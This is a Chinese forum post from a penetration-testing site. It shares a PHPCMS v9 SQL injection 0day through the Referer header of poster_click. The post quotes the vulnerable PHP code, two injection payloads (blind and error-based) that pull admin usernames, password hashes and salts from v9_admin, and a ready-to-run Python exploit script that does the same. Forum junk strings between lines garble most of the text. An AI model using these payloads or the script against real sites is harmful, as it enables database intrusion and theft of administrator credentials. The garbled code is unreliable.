中国网络渗透测试联盟
标题:
phpcms post_click注入0day利用代码
[打印本页]
作者:
admin
时间:
2013-1-11 21:01
标题:
phpcms post_click注入0day利用代码
有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
9 g: ^' G6 n+ X5 ?4 z% ^4 j# L) _
5 ]$ J+ C7 t# J! `3 H, a% v
问题函数\phpcms\modules\poster\index.php
4 L* I* p$ Q: Q. r& [. f
# `( V% Y4 e: s: D- B' Z
public function poster_click() {
, ]" P P0 k4 ^ r# m0 J' `( P
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
! y5 j2 s9 O" S+ v8 z( w
$r = $this->db->get_one(array('id'=>$id));
" E/ Q$ O$ j/ g2 [6 t; I0 a) e
if (!is_array($r) && empty($r)) return false;
) _$ V0 P3 t) H( {2 Y7 e! d; s
$ip_area = pc_base::load_sys_class('ip_area');
1 L" Z- [2 Y2 k# B
$ip = ip();
+ B5 F& }7 F* r5 g% J
$area = $ip_area->get($ip);
& l: ^9 T- Q) U% G: {3 t) t% J
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
- P8 I: K* ^, }! d& f
if($id) {
4 |1 {! K0 i9 v) G+ L
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
- ?" s+ r4 A9 Q3 X# d. P& f: w
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
* R" Q: J# `0 Q! Y4 y
}
! | d+ h7 V' _9 B5 q8 n2 \/ i
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
) ]: z/ F$ i2 E# Y! B
$setting = string2array($r['setting']);
$ V/ `! C; |) m( G$ T' @+ V4 H
if (count($setting)==1) {
U) f9 J/ Y# j, O1 o
$url = $setting['1']['linkurl'];
6 b0 _; k9 H, H$ a
} else {
, I$ L: L, X) p. t7 H7 s
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
2 U2 O. h4 \/ } v
}
4 h% x/ o2 l9 L& i6 G
header('Location: '.$url);
& y0 q! }$ J' ?& u$ X' t% V! j
}
4 R( {* i# u) h P* T
! r* v. J9 @9 Z1 ^
: }" A' C- V z* B# u+ M. Z
- N$ }' a: N' i% _; q" F! S! X
利用方式：
1 E0 N1 g( e8 e5 O6 Y T4 z
& g0 ~: Y0 a8 n
1、可以采用盲注入的手法：
5 N; f+ D3 Z+ W
" F7 G% [3 e B |- l6 i
referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
+ n% |1 T( W2 ?3 W4 r9 G: H/ m
' |9 M6 o" a. P& t5 E& c
通过返回页面，正常与否一个个猜解密码字段。
* k( x, v/ ^5 O& y7 G+ ^% A
0 U- U' Q* |2 @ O3 I
2、代码是花开写的，随手附上了：
0 b' X. P! @' q
4 h8 D2 e5 u; B& }- h/ @
1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
6 L% v4 ] J7 S8 ~& }% m
6 }! L# S" P! [3 } ^, c
此方法是爆错注入手法，原理自查。
1 X$ s! G; J7 R8 @3 ^/ v
- Y6 Z( v. A( @; n+ T
s3 I$ c) ^; _4 y1 L
. }* T6 r8 Y$ H6 f0 G' j/ `3 Y
利用程序:
V" R# Q, V6 R
9 y- D+ f1 w1 W3 G |3 b/ M" c( e$ Z
#!/usr/bin/env python
- u0 y1 {) ]$ Q# \* ]
import httplib,sys,re
; m& h8 p7 G4 J/ p, K7 {3 h
; [9 d; {7 r. F( N7 n
def attack():
9 c: d* L9 x" @% K' L
print “Code by Pax.Mac Team conqu3r!”
- W& v3 y: f% B$ W/ S& v
print “Welcome to our zone!!!”
; j1 M4 B1 F8 }7 `
url=sys.argv[1]
% q6 d! H% W' ~0 w2 [
paths=sys.argv[2]
5 {7 ~7 p& E" }' P
conn = httplib.HTTPConnection(url)
1 O0 \' ]/ g3 `* I! w4 h2 J* e' L
i_headers = {“User-Agent”: “Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.9.1) Gecko/20090624 Firefox/3.5″,
0 ]/ d* x+ U; i; l* w# d7 r
“Accept”: “text/plain”,
5 c2 ~) N; A" P" ^
“Referer”: “1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#”}
& K; ?9 T. P/ h: _
conn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)
5 ?. R) E0 A0 i& a: q; h
r1 = conn.getresponse()
& Z" W6 M M6 _
datas=r1.read()
! I2 i; Y6 z: s) [
datas=re.findall(r”Duplicate entry \’\w+’”, datas)
/ r6 z3 o; X9 b- E- x. v, `) o: V2 T0 r
print datas[0]
5 _7 b% g' T+ S4 S1 n
conn.close()
3 ~# }( I; t* ~0 B& o9 V- c
if __name__==”__main__”:
- O3 z4 N! C7 {8 C$ ^+ j# } U
if len(sys.argv)<3:
# S$ L* h* T% ~- x
print “Code by Pax.Mac Team conqu3r”
) b' D# @4 K0 Q9 t8 k6 `$ g7 g
print “Usgae:”
, `3 Y+ w0 L! ?+ M; @
print “ phpcmsattack.py
www.paxmac.org
/”
0 X% i2 |% ?# ]# I, A# Z
print “ phpcmsataack.py
www.paxmac.org
/phpcmsv9/”
9 d( }! L o/ x1 _
sys.exit(1)
6 G3 u' H5 ]& l) q
attack()
0 k" e8 `; l7 @; m+ ]
( B9 C4 |# |, @ e: X+ q
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2